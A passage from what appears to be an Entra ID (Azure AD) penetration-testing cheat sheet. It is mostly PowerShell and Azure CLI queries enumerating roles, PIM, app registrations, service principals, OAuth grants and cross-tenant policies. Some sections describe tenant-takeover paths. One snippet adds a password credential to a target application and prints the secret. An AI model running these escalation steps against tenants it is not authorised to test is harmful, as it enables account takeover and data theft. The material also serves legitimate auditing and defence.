# Groups that own applications - adding yourself = app takeover
Get-MgApplication -All | ForEach-Object { $App = $_; Get-MgApplicationOwner -ApplicationId $App.Id -ErrorAction SilentlyContinue | Where-Object { $_.AdditionalProperties.'@odata.type' -eq '#microsoft.graph.group' } | ForEach-Object { Write-Host "GROUP OWNS APP: $($_.AdditionalProperties.displayName) -> $($App.DisplayName)" } }
# Groups with Azure RBAC role assignments
Get-AzRoleAssignment -ErrorAction SilentlyContinue | Where-Object { $_.ObjectType -eq "Group" } | Select-Object DisplayName, RoleDefinitionName, Scope | Format-Table
# Nested groups - indirect paths to privileged groups
foreach ($G in $RoleAssignableGroups) {
Get-MgGroupMember -GroupId $G.Id -All | Where-Object { $_.AdditionalProperties.'@odata.type' -eq '#microsoft.graph.group' } | ForEach-Object { Write-Host "NESTED IN PRIV GROUP: '$($_.AdditionalProperties.displayName)' is member of '$($G.DisplayName)'" }
}
8. Directory Roles & PIM
Microsoft Graph PowerShell
# List all activated directory roles
Get-MgDirectoryRole -All | Select-Object DisplayName, Id, RoleTemplateId
# List members of all directory roles
Get-MgDirectoryRole -All | ForEach-Object { $Role = $_; Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id -All | ForEach-Object { [PSCustomObject]@{ MemberName = $_.AdditionalProperties.displayName; MemberUPN = $_.AdditionalProperties.userPrincipalName; MemberType = $_.AdditionalProperties.'@odata.type'; RoleName = $Role.DisplayName } } }
# Find service principals with directory roles
Get-MgDirectoryRole -All | ForEach-Object { $Role = $_; Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id -All | Where-Object {$_.AdditionalProperties.'@odata.type' -eq '#microsoft.graph.servicePrincipal'} | ForEach-Object { [PSCustomObject]@{ SPName = $_.AdditionalProperties.displayName; SPId = $_.Id; RoleName = $Role.DisplayName } } }
# Check your direct role assignments
$MyUserId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Get-MgDirectoryRole -All | ForEach-Object { $Role = $_; $Members = Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id; if ($Members.Id -contains $MyUserId) { Write-Host "You have role: $($Role.DisplayName)" } }
# List all role definitions (not just activated)
Get-MgRoleManagementDirectoryRoleDefinition -All | Select-Object DisplayName, Id, IsBuiltIn
# List all role assignments
Get-MgRoleManagementDirectoryRoleAssignment -All -ExpandProperty principal | Select-Object PrincipalId, RoleDefinitionId, DirectoryScopeId
PIM (Privileged Identity Management)
# List PIM eligible role assignments
Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -All | ForEach-Object { [PSCustomObject]@{ PrincipalId = $_.PrincipalId; RoleDefinitionId = $_.RoleDefinitionId; Status = $_.Status } }
# List PIM active role assignments
Get-MgRoleManagementDirectoryRoleAssignmentScheduleInstance -All | Select-Object PrincipalId, RoleDefinitionId, AssignmentType
# Check your PIM eligible roles
$MyUserId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -Filter "principalId eq '$MyUserId'" | ForEach-Object { $RoleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId; Write-Host "Eligible for: $($RoleDef.DisplayName)" }
PIM Schedule Requests (Deeper Audit)
# List all PIM role assignment requests (who activated what and when)
Get-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -All | Select-Object PrincipalId, RoleDefinitionId, Action, Status, CreatedDateTime, ScheduleInfo
# List all PIM eligibility requests
Get-MgRoleManagementDirectoryRoleEligibilityScheduleRequest -All | Select-Object PrincipalId, RoleDefinitionId, Action, Status, CreatedDateTime
# Find permanent (non-PIM) role assignments - these bypass activation controls
Get-MgRoleManagementDirectoryRoleAssignment -All | ForEach-Object { $Assignment = $_; $RoleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $Assignment.RoleDefinitionId; [PSCustomObject]@{ Role = $RoleDef.DisplayName; PrincipalId = $Assignment.PrincipalId; Scope = $Assignment.DirectoryScopeId } }
Custom Role Definitions (Check for Overprivileged)
# Find custom roles (not built-in) - check for wildcard or excessive permissions
Get-MgRoleManagementDirectoryRoleDefinition -All | Where-Object {$_.IsBuiltIn -eq $false} | ForEach-Object { Write-Host "CUSTOM ROLE: $($_.DisplayName)"; $_.RolePermissions | ForEach-Object { $_.AllowedResourceActions | ForEach-Object { Write-Host " Action: $_" } } }
# Check for roles with wildcard actions (e.g., microsoft.directory/*)
Get-MgRoleManagementDirectoryRoleDefinition -All | ForEach-Object { $Role = $_; $Role.RolePermissions | ForEach-Object { $_.AllowedResourceActions | Where-Object { $_ -match "\*" } | ForEach-Object { Write-Host "WILDCARD PERMISSION: $($Role.DisplayName) -> $_" } } }
Azure CLI
# List directory role assignments
az role assignment list --all --output table
# List your role assignments
az role assignment list --assignee "<your_upn_or_id>" --all --output table
8A. Authentication Reset Attack Paths
One of the most practical Entra escalation routes. Understanding who can reset whose credentials reveals the real privilege hierarchy.
Role-Based Reset Scope
+-------------------------------------+----------------------------------------------+
| Role | Can Reset Auth Methods For |
+-------------------------------------+----------------------------------------------+
| Privileged Authentication Admin | ALL users including Global Admins |
| Authentication Administrator | Non-admin users + some lower-priv roles |
| Helpdesk Administrator | Non-admin users (password reset only) |
| User Administrator | Non-admin users + Helpdesk Admins |
| Password Administrator | Non-admin users (legacy, same as Helpdesk) |
+-------------------------------------+----------------------------------------------+
Enumerate Reset-Capable Role Holders
# Who holds authentication-reset roles?
$ResetRoles = @("Authentication Administrator", "Privileged Authentication Administrator", "Helpdesk Administrator", "User Administrator", "Password Administrator")
foreach ($RoleName in $ResetRoles) {
$Role = Get-MgDirectoryRole -Filter "displayName eq '$RoleName'" -ErrorAction SilentlyContinue
if ($Role) {
$Members = Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id -All
Write-Host "`n$RoleName ($($Members.Count) members):"
$Members | ForEach-Object { Write-Host " $($_.AdditionalProperties.displayName) ($($_.AdditionalProperties.userPrincipalName))" }
}
}
# Check for custom roles with authentication-method write actions
Get-MgRoleManagementDirectoryRoleDefinition -All | ForEach-Object {
$Role = $_; $Role.RolePermissions | ForEach-Object {
$_.AllowedResourceActions | Where-Object { $_ -match "authentication" -and $_ -match "allProperties" } | ForEach-Object {
Write-Host "CUSTOM ROLE WITH AUTH RESET: $($Role.DisplayName) -> $_"
}
}
}
Self-Service Password Reset (SSPR) Configuration
# Check if SSPR applies to admins (it shouldn't - admins should require stronger reset flows)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" | Select-Object -ExpandProperty defaultUserRolePermissions
# Check SSPR registration requirement
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy" | Select-Object -ExpandProperty registrationEnforcement
Attack path: Compromise a Helpdesk Admin -> issue TAP for a Global Admin -> register your own FIDO2 key as the GA -> full tenant takeover. This is why TAP issuance + reset roles are a critical combo.
PIM for Groups (Hidden Eligibility Paths)
# PIM-eligible group memberships - less visible than direct role eligibility
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityGovernance/privilegedAccess/group/eligibilityScheduleInstances" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty value | ForEach-Object {
$Group = Get-MgGroup -GroupId $_.groupId -ErrorAction SilentlyContinue
$Principal = Get-MgDirectoryObject -DirectoryObjectId $_.principalId -ErrorAction SilentlyContinue
Write-Host "PIM GROUP ELIGIBLE: $($Principal.AdditionalProperties.displayName) -> $($Group.DisplayName) [Access: $($_.accessId)]"
}
# Active PIM group assignments
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityGovernance/privilegedAccess/group/assignmentScheduleInstances" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty value | ForEach-Object {
$Group = Get-MgGroup -GroupId $_.groupId -ErrorAction SilentlyContinue
$Principal = Get-MgDirectoryObject -DirectoryObjectId $_.principalId -ErrorAction SilentlyContinue
Write-Host "PIM GROUP ACTIVE: $($Principal.AdditionalProperties.displayName) -> $($Group.DisplayName) [Type: $($_.assignmentType)]"
}
# Check for groups that are BOTH PIM-controlled AND excluded from CA policies
$PIMGroupIds = (Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityGovernance/privilegedAccess/group/eligibilityScheduleInstances" -ErrorAction SilentlyContinue).value.groupId | Sort-Object -Unique
$CAExcludedGroups = Get-MgIdentityConditionalAccessPolicy -All | ForEach-Object { $_.Conditions.Users.ExcludeGroups } | Sort-Object -Unique
$Overlap = $PIMGroupIds | Where-Object { $_ -in $CAExcludedGroups }
$Overlap | ForEach-Object { $G = Get-MgGroup -GroupId $_ -ErrorAction SilentlyContinue; Write-Host "PIM + CA EXCLUDED: $($G.DisplayName) - activating PIM membership bypasses CA" }
9. Application Enumeration
Microsoft Graph PowerShell
# List all application registrations
Get-MgApplication -All | Select-Object DisplayName, AppId, Id
# Detailed application info
Get-MgApplication -All -Property DisplayName,AppId,Id,Web,PublisherDomain,SignInAudience,CreatedDateTime | Select-Object DisplayName, AppId, Id, PublisherDomain, SignInAudience, CreatedDateTime
# Get application owners
Get-MgApplicationOwner -ApplicationId "<app_object_id>" | ForEach-Object { $_.AdditionalProperties.displayName }
# Get application's required resource access (API permissions requested)
$App = Get-MgApplication -Filter "displayName eq 'AppName'"
$App.RequiredResourceAccess | ForEach-Object { $Resource = $_; Write-Host "Resource: $($Resource.ResourceAppId)"; $Resource.ResourceAccess | ForEach-Object { Write-Host " Permission: $($_.Id) - Type: $($_.Type)" } }
# Find applications with suspicious names
Get-MgApplication -All | Where-Object { $_.DisplayName -match "bot|backdoor|temp|hack" -or $_.DisplayName -like "*/*" -or $_.DisplayName -like "*=*" } | Select-Object DisplayName, AppId, Id
# Get application's key credentials
(Get-MgApplication -ApplicationId "<app_object_id>").KeyCredentials | Select-Object KeyId, DisplayName, EndDateTime, StartDateTime
# Get application's password credentials
(Get-MgApplication -ApplicationId "<app_object_id>").PasswordCredentials | Select-Object KeyId, DisplayName, EndDateTime, StartDateTime
Azure CLI
# List all app registrations
az ad app list --all --output table
# Get app details
az ad app show --id "<app_id>"
# List app credentials
az ad app credential list --id "<app_id>"
GraphRunner
# Dump all applications with permissions
Invoke-DumpApps -Tokens $tokens
9A. Application Misconfiguration Hunting
These checks find real-world misconfigurations that translate directly into pentest findings.
Dangerous Redirect URIs
# Find apps with HTTP (non-HTTPS) redirect URIs - token interception risk
Get-MgApplication -All | ForEach-Object { $App = $_; $AllRedirects = @(); if ($App.Web.RedirectUris) { $AllRedirects += $App.Web.RedirectUris }; if ($App.Spa.RedirectUris) { $AllRedirects += $App.Spa.RedirectUris }; if ($App.PublicClient.RedirectUris) { $AllRedirects += $App.PublicClient.RedirectUris }; $AllRedirects | Where-Object { $_ -match "^http://" -and $_ -notmatch "localhost" } | ForEach-Object { Write-Host "HTTP REDIRECT: $($App.DisplayName) -> $_" } }
# Find apps with wildcard or overly broad redirect URIs
Get-MgApplication -All | ForEach-Object { $App = $_; $AllRedirects = @(); if ($App.Web.RedirectUris) { $AllRedirects += $App.Web.RedirectUris }; $AllRedirects | Where-Object { $_ -match "\*" } | ForEach-Object { Write-Host "WILDCARD REDIRECT: $($App.DisplayName) -> $_" } }
Implicit Grant & Public Client Flows
# Find apps with implicit grant enabled (token leakage via browser history/logs)
Get-MgApplication -All | Where-Object { $_.Web.ImplicitGrantSettings.EnableIdTokenIssuance -eq $true -or $_.Web.ImplicitGrantSettings.EnableAccessTokenIssuance -eq $true } | ForEach-Object { Write-Host "IMPLICIT GRANT: $($_.DisplayName) - IdToken: $($_.Web.ImplicitGrantSettings.EnableIdTokenIssuance), AccessToken: $($_.Web.ImplicitGrantSettings.EnableAccessTokenIssuance)" }
# Find apps with public client / device code flow enabled
Get-MgApplication -All | Where-Object { $_.IsFallbackPublicClient -eq $true } | Select-Object DisplayName, AppId, IsFallbackPublicClient
# Public client with device code flow = potential phishing vector
Multitenant Applications (Exposed Outside Tenant)
# Find apps accessible from any Azure AD tenant
Get-MgApplication -All | Where-Object { $_.SignInAudience -eq "AzureADMultipleOrgs" -or $_.SignInAudience -eq "AzureADandPersonalMicrosoftAccount" -or $_.SignInAudience -eq "PersonalMicrosoftAccount" } | Select-Object DisplayName, AppId, SignInAudience
Publisher Verification
# Find unverified publisher apps (trust issue)
Get-MgServicePrincipal -All | Where-Object { -not $_.VerifiedPublisher.DisplayName -and $_.ServicePrincipalType -eq "Application" } | Select-Object DisplayName, AppId, PublisherName
Stale Applications
# Find apps that haven't been signed into recently
Get-MgServicePrincipal -All -Property DisplayName,AppId,SignInActivity | Where-Object { $_.SignInActivity.LastSignInDateTime -and $_.SignInActivity.LastSignInDateTime -lt (Get-Date).AddDays(-180) } | Select-Object DisplayName, AppId, @{N="LastSignIn";E={$_.SignInActivity.LastSignInDateTime}}
Tenant Consent Policy Configuration
# Who can consent to apps, and what can they consent to?
$AuthPolicy = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
Write-Host "Users can register apps: $($AuthPolicy.defaultUserRolePermissions.allowedToCreateApps)"
Write-Host "Users can consent to apps: $($AuthPolicy.defaultUserRolePermissions.permissionGrantPoliciesAssigned -join ', ')"
# Check permission grant policies (what users can self-consent to)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies" | Select-Object -ExpandProperty value | ForEach-Object {
Write-Host "`nGrant Policy: $($_.displayName) [$($_.id)]"
$_.includes | ForEach-Object { Write-Host " INCLUDES: permissionType=$($_.permissionType), permissions=$($_.permissions -join ',')" }
$_.excludes | ForEach-Object { Write-Host " EXCLUDES: permissionType=$($_.permissionType), permissions=$($_.permissions -join ',')" }
}
# If users can self-consent to Mail.Read, Files.Read.All etc. -> illicit consent grant phishing
# Check admin consent workflow
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/adminConsentRequestPolicy" | Select-Object isEnabled, notifyReviewers, reviewers
9B. Directory Extensions & Custom Security Attributes
These attributes are often overlooked but can be used in dynamic group rules, CA policies, and provisioning scopes. If you can write to them, you can manipulate group membership or bypass controls.
Directory Extension Properties
# List all directory extension properties - these extend user/group/device objects
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/directoryObjects/getAvailableExtensionProperties" -Method POST -Body '{"isSyncedFromOnPremises": false}' | Select-Object -ExpandProperty value | Select-Object name, dataType, targetObjects
# Check if any dynamic groups use extension attributes in their rules
Get-MgGroup -All | Where-Object { $_.GroupTypes -contains "DynamicMembership" -and $_.MembershipRule -match "extension_" } | ForEach-Object {
Write-Host "DYNAMIC GROUP WITH EXTENSION ATTR: $($_.DisplayName)"
Write-Host " Rule: $($_.MembershipRule)"
}
Custom Security Attributes
# List custom security attribute definitions
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/directory/customSecurityAttributeDefinitions" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty value | Select-Object attributeSet, name, type, isSearchable, isCollection, status
# Who holds Custom Security Attribute roles (can read/write these values)?
$CSARoles = @("Attribute Assignment Administrator", "Attribute Assignment Reader", "Attribute Definition Administrator", "Attribute Definition Reader")
foreach ($RoleName in $CSARoles) {
$Role = Get-MgDirectoryRole -Filter "displayName eq '$RoleName'" -ErrorAction SilentlyContinue
if ($Role) {
$Members = Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id -All
if ($Members) { Write-Host "$RoleName`: $($Members | ForEach-Object { $_.AdditionalProperties.displayName } | Join-String -Separator ', ')" }
}
}
# If custom security attributes are used in CA policies or provisioning scope filters,
# anyone with Attribute Assignment Admin can manipulate who those policies apply to
10. Service Principal Enumeration
Microsoft Graph PowerShell
# List all service principals
Get-MgServicePrincipal -All | Select-Object DisplayName, AppId, Id, ServicePrincipalType
# Detailed service principal info
Get-MgServicePrincipal -Filter "displayName eq 'SPName'" | Select-Object DisplayName, AppId, Id, ServicePrincipalType, AccountEnabled, PublisherName, AppOwnerOrganizationId
# Find managed identities
Get-MgServicePrincipal -All | Where-Object {$_.ServicePrincipalType -eq "ManagedIdentity"} | Select-Object DisplayName, AppId, Id
# Find SPs with Azure resource access
Get-MgServicePrincipal -All | Where-Object { $_.ServicePrincipalNames -match "https://management.azure.com" -or $_.DisplayName -match "Azure|Management|Resource" } | Select-Object DisplayName, AppId
# Find security-related service principals
Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -match "Defender|ATP|Security|Endpoint" } | Select-Object DisplayName, AppId
# Get service principal owners
Get-MgServicePrincipalOwner -ServicePrincipalId "<sp_id>" | ForEach-Object { $_.AdditionalProperties.displayName }
# Get app role assignments TO a service principal
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId "<sp_id>" | Select-Object PrincipalDisplayName, ResourceDisplayName, AppRoleId
# Get app role assignments granted BY a service principal
Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId "<sp_id>" | Select-Object PrincipalDisplayName, ResourceDisplayName, AppRoleId
# Get service principal's key credentials
(Get-MgServicePrincipal -ServicePrincipalId "<sp_id>").KeyCredentials | Select-Object KeyId, EndDateTime
# Get service principal's password credentials
(Get-MgServicePrincipal -ServicePrincipalId "<sp_id>").PasswordCredentials | Select-Object KeyId, EndDateTime
AADInternals
# List service principals
Get-AADIntServicePrincipals | Select DisplayName, AppId, ObjectId
10A. Workload Identity & Federated Credentials
Federated credentials allow external identity providers (GitHub Actions, AWS, Kubernetes) to authenticate as service principals WITHOUT a stored secret. If misconfigured, an attacker who controls the external IdP can impersonate the SP.
Federated Identity Credentials
# Find all applications with federated identity credentials
Get-MgApplication -All | ForEach-Object { $App = $_; $FedCreds = Get-MgApplicationFederatedIdentityCredential -ApplicationId $App.Id -ErrorAction SilentlyContinue; if ($FedCreds) { $FedCreds | ForEach-Object { [PSCustomObject]@{ AppName = $App.DisplayName; AppId = $App.AppId; Issuer = $_.Issuer; Subject = $_.Subject; Audiences = $_.Audiences -join ","; Name = $_.Name } } } }
# Check for overly broad federated credentials - wildcards, missing branch restrictions
Get-MgApplication -All | ForEach-Object { $App = $_; Get-MgApplicationFederatedIdentityCredential -ApplicationId $App.Id -ErrorAction SilentlyContinue | ForEach-Object {
$Flags = @()
if ($_.Subject -match "\*") { $Flags += "WILDCARD_SUBJECT" }
if ($_.Subject -match "pull_request") { $Flags += "PR_TRIGGER" } # untrusted code can assume identity
if ($_.Subject -notmatch "ref:refs/heads/" -and $_.Issuer -match "github") { $Flags += "NO_BRANCH_RESTRICTION" }
if ($_.Subject -match "repo:[^/]+/\*") { $Flags += "ALL_REPOS_IN_ORG" }
if ($_.Issuer -match "kubernetes" -and $_.Subject -match "system:serviceaccount:[^:]+:\*") { $Flags += "K8S_NAMESPACE_WILDCARD" }
if ($Flags) { Write-Host "$($App.DisplayName): $($Flags -join ', ') | Subject: $($_.Subject) | Issuer: $($_.Issuer)" }
} }
Interactive Sign-Ins from Service Principals (Suspicious)
# Service principals should use non-interactive auth; interactive sign-ins are suspicious
Get-MgAuditLogSignIn -Filter "signInEventTypes/any(s: s eq 'servicePrincipal')" -Top 50 | Select-Object CreatedDateTime, AppDisplayName, AppId, IpAddress, Location, Status
Managed Identities with Excessive Permissions
# List all managed identities and their Azure RBAC roles
Get-MgServicePrincipal -All | Where-Object {$_.ServicePrincipalType -eq "ManagedIdentity"} | ForEach-Object { $MI = $_; Write-Host "Managed Identity: $($MI.DisplayName) [$($MI.Id)]"; $Roles = Get-AzRoleAssignment -ObjectId $MI.Id -ErrorAction SilentlyContinue; $Roles | ForEach-Object { Write-Host " RBAC: $($_.RoleDefinitionName) @ $($_.Scope)" } }
11. Credential Hunting
Microsoft Graph PowerShell - Expired Key Credentials
# Find service principals with expired key credentials
Get-MgServicePrincipal -All | ForEach-Object { $SP = $_; $SP.KeyCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)} | ForEach-Object { [PSCustomObject]@{ SPName = $SP.DisplayName; AppId = $SP.AppId; KeyId = $_.KeyId; EndDate = $_.EndDateTime; DaysExpired = ((Get-Date) - $_.EndDateTime).Days } } }
Expired Password Credentials
# Find service principals with expired password credentials
Get-MgServicePrincipal -All | ForEach-Object { $SP = $_; $SP.PasswordCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)} | ForEach-Object { [PSCustomObject]@{ SPName = $SP.DisplayName; AppId = $SP.AppId; KeyId = $_.KeyId; EndDate = $_.EndDateTime; DaysExpired = ((Get-Date) - $_.EndDateTime).Days } } }
Application Expired Credentials
# Find applications with expired credentials
Get-MgApplication -All | ForEach-Object { $App = $_; $App.KeyCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)} | ForEach-Object { Write-Host "EXPIRED KEY: $($App.DisplayName) - Expired: $($_.EndDateTime)" }; $App.PasswordCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)} | ForEach-Object { Write-Host "EXPIRED PASSWORD: $($App.DisplayName) - Expired: $($_.EndDateTime)" } }
Soon-to-Expire Credentials
# Find credentials expiring within 30 days
$Soon = (Get-Date).AddDays(30)
Get-MgApplication -All | ForEach-Object { $App = $_; $App.KeyCredentials | Where-Object {$_.EndDateTime -lt $Soon -and $_.EndDateTime -gt (Get-Date)} | ForEach-Object { Write-Host "EXPIRING SOON: $($App.DisplayName) - Key expires: $($_.EndDateTime)" }; $App.PasswordCredentials | Where-Object {$_.EndDateTime -lt $Soon -and $_.EndDateTime -gt (Get-Date)} | ForEach-Object { Write-Host "EXPIRING SOON: $($App.DisplayName) - Password expires: $($_.EndDateTime)" } }
Service Principals with Multiple Credentials
Get-MgServicePrincipal -All | ForEach-Object { $SP = $_; $KeyCount = ($SP.KeyCredentials | Measure-Object).Count; $PwdCount = ($SP.PasswordCredentials | Measure-Object).Count; if (($KeyCount + $PwdCount) -gt 2) { Write-Host "MULTIPLE CREDS: $($SP.DisplayName) - Keys: $KeyCount, Passwords: $PwdCount" } }
Test Adding Credentials (Privilege Escalation)
# Test if you can add a password credential to an application
$App = Get-MgApplication -Filter "displayName eq 'TargetApp'"
try { $Cred = Add-MgApplicationPassword -ApplicationId $App.Id -PasswordCredential @{DisplayName="test"}; Write-Host "CAN ADD CREDS TO: $($App.DisplayName) - Secret: $($Cred.SecretText)"; Remove-MgApplicationPassword -ApplicationId $App.Id -KeyId $Cred.KeyId } catch { Write-Host "Cannot add creds to: $($App.DisplayName)" }
12. OAuth & Permission Analysis
Microsoft Graph PowerShell
# List all OAuth2 permission grants (delegated permissions)
Get-MgOauth2PermissionGrant -All | Select-Object ClientId, ConsentType, Scope, ResourceId, PrincipalId
# Find admin-consented applications (tenant-wide grants)
Get-MgOauth2PermissionGrant -All | Where-Object {$_.ConsentType -eq "AllPrincipals"} | ForEach-Object { $Grant = $_; $SP = Get-MgServicePrincipal -ServicePrincipalId $Grant.ClientId; [PSCustomObject]@{ AppName = $SP.DisplayName; Scope = $Grant.Scope; ConsentType = $Grant.ConsentType } }
# Find apps with dangerous delegated permissions
$DangerousScopes = "Directory.ReadWrite|User.ReadWrite|Group.ReadWrite|Application.ReadWrite|RoleManagement.ReadWrite|Mail.ReadWrite|Files.ReadWrite"
Get-MgOauth2PermissionGrant -All | Where-Object {$_.Scope -match $DangerousScopes} | ForEach-Object { $SP = Get-MgServicePrincipal -ServicePrincipalId $_.ClientId; Write-Host "DANGEROUS: $($SP.DisplayName) - Scopes: $($_.Scope)" }
# List application permissions (app role assignments) for a service principal
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId "<sp_id>" | ForEach-Object { $Resource = Get-MgServicePrincipal -ServicePrincipalId $_.ResourceId; [PSCustomObject]@{ App = $_.PrincipalDisplayName; Resource = $Resource.DisplayName; AppRoleId = $_.AppRoleId } }
Azure CLI
# List OAuth2 permission grants
az ad app permission list --id "<app_id>"
# List admin consent grants
az rest --method get --url "https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"
12A. High-Impact Permission Hunting
Not all “dangerous” permissions are created equal. These are the ones that enable tenant takeover, mass data access, or privilege escalation.
Tier-1 Critical Permissions (Tenant Takeover)
# These Graph application permissions enable full tenant control:
$CriticalPermissions = @(
"RoleManagement.ReadWrite.Directory", # Assign any role to any principal
"AppRoleAssignment.ReadWrite.All", # Grant any app permission to any SP
"Application.ReadWrite.All", # Modify any app registration
"Directory.ReadWrite.All", # Broad directory write access
"Policy.ReadWrite.ConditionalAccess" # Disable CA policies
)
# Find service principals with these application permissions
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $GraphSP.Id -All | ForEach-Object { $Assignment = $_; $AppRole = $GraphSP.AppRoles | Where-Object { $_.Id -eq $Assignment.AppRoleId }; if ($AppRole.Value -in $CriticalPermissions) { Write-Host "CRITICAL: $($Assignment.PrincipalDisplayName) has $($AppRole.Value)" } }
Tier-2 High-Impact Permissions (Data Access)
# These enable mass data access:
$HighImpactScopes = @(
"Mail.Read", "Mail.ReadWrite", "Mail.Send",
"Files.Read.All", "Files.ReadWrite.All",
"Sites.Read.All", "Sites.ReadWrite.All",
"Chat.Read.All", "Chat.ReadWrite.All",
"TeamSettings.ReadWrite.All",
"User.ReadWrite.All", "Group.ReadWrite.All"
)
# Find all apps with admin-consented high-impact delegated permissions
Get-MgOauth2PermissionGrant -All | Where-Object { $_.ConsentType -eq "AllPrincipals" } | ForEach-Object { $Grant = $_; $HighHits = $HighImpactScopes | Where-Object { $Grant.Scope -match $_ }; if ($HighHits) { $SP = Get-MgServicePrincipal -ServicePrincipalId $Grant.ClientId; Write-Host "HIGH-IMPACT GRANT: $($SP.DisplayName) -> $($Grant.Scope)" } }
Apps with Both Delegated AND Application Permissions
# Apps with both types may have more access than intended
Get-MgServicePrincipal -All | ForEach-Object { $SP = $_; $Delegated = Get-MgOauth2PermissionGrant -All | Where-Object { $_.ClientId -eq $SP.Id }; $AppRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -ErrorAction SilentlyContinue; if ($Delegated -and $AppRoles) { Write-Host "DUAL PERMISSION TYPE: $($SP.DisplayName) - Delegated: $($Delegated.Count), AppRoles: $($AppRoles.Count)" } }
13. Ownership Enumeration
Microsoft Graph PowerShell
# Find all applications you own
$MyId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Get-MgApplication -All | ForEach-Object { $App = $_; $Owners = Get-MgApplicationOwner -ApplicationId $App.Id; if ($Owners.Id -contains $MyId) { Write-Host "YOU OWN APP: $($App.DisplayName) - AppId: $($App.AppId)" } }
# Find all service principals you own
Get-MgServicePrincipal -All | ForEach-Object { $SP = $_; try { $Owners = Get-MgServicePrincipalOwner -ServicePrincipalId $SP.Id; if ($Owners.Id -contains $MyId) { Write-Host "YOU OWN SP: $($SP.DisplayName)" } } catch {} }
# Find all groups you own
Get-MgGroup -All | ForEach-Object { $Grp = $_; try { $Owners = Get-MgGroupOwner -GroupId $Grp.Id; if ($Owners.Id -contains $MyId) { Write-Host "YOU OWN GROUP: $($Grp.DisplayName)" } } catch {} }
# Get all owned objects at once
Get-MgUserOwnedObject -UserId $MyId -All | ForEach-Object { [PSCustomObject]@{ Type = $_.AdditionalProperties.'@odata.type'; DisplayName = $_.AdditionalProperties.displayName; Id = $_.Id } }
# Find orphaned applications (no owners - potential takeover targets)
Get-MgApplication -All | ForEach-Object { $App = $_; $Owners = Get-MgApplicationOwner -ApplicationId $App.Id; if (-not $Owners) { Write-Host "ORPHANED: $($App.DisplayName) - AppId: $($App.AppId)" } }
14. Device Enumeration
Microsoft Graph PowerShell
# List devices
Get-MgDevice -All | Select-Object DisplayName, DeviceId, OperatingSystem, OperatingSystemVersion, IsCompliant, IsManaged, TrustType
# Find non-compliant devices
Get-MgDevice -All | Where-Object {$_.IsCompliant -eq $false} | Select-Object DisplayName, OperatingSystem, TrustType
# Get device registered owner
Get-MgDeviceRegisteredOwner -DeviceId "<device_id>" | ForEach-Object { $_.AdditionalProperties.displayName }
Azure CLI
az ad device list --output table
14A. Guest, B2B & Cross-Tenant Access
External collaboration is one of the most overlooked attack surfaces. Guest accounts with elevated privileges and lax cross-tenant policies create lateral movement paths between tenants.
Cross-Tenant Access Policy Enumeration
# Default cross-tenant access policy - applies to all tenants not explicitly configured
$DefaultPolicy = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/default"
$DefaultPolicy | ConvertTo-Json -Depth 10
# Inbound defaults - who can collaborate INTO this tenant
$DefaultPolicy.b2bCollaborationInbound | ConvertTo-Json -Depth 5
$DefaultPolicy.b2bDirectConnectInbound | ConvertTo-Json -Depth 5
# Outbound defaults - who this tenant's users can collaborate WITH
$DefaultPolicy.b2bCollaborationOutbound | ConvertTo-Json -Depth 5
$DefaultPolicy.b2bDirectConnectOutbound | ConvertTo-Json -Depth 5
# Check trust settings - does this tenant auto-trust MFA and device claims from partners?
$DefaultPolicy.inboundTrust
# compliantDevice: true, isCompliantDeviceAccepted: true = risky if partner is compromised
Partner-Specific Policies
# List all partner-specific cross-tenant access configurations
$Partners = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners"
$Partners.value | ForEach-Object {
Write-Host "`n=== Partner Tenant: $($_.tenantId) ==="
Write-Host "B2B Inbound: $($_.b2bCollaborationInbound | ConvertTo-Json -Depth 3 -Compress)"
Write-Host "B2B Outbound: $($_.b2bCollaborationOutbound | ConvertTo-Json -Depth 3 -Compress)"
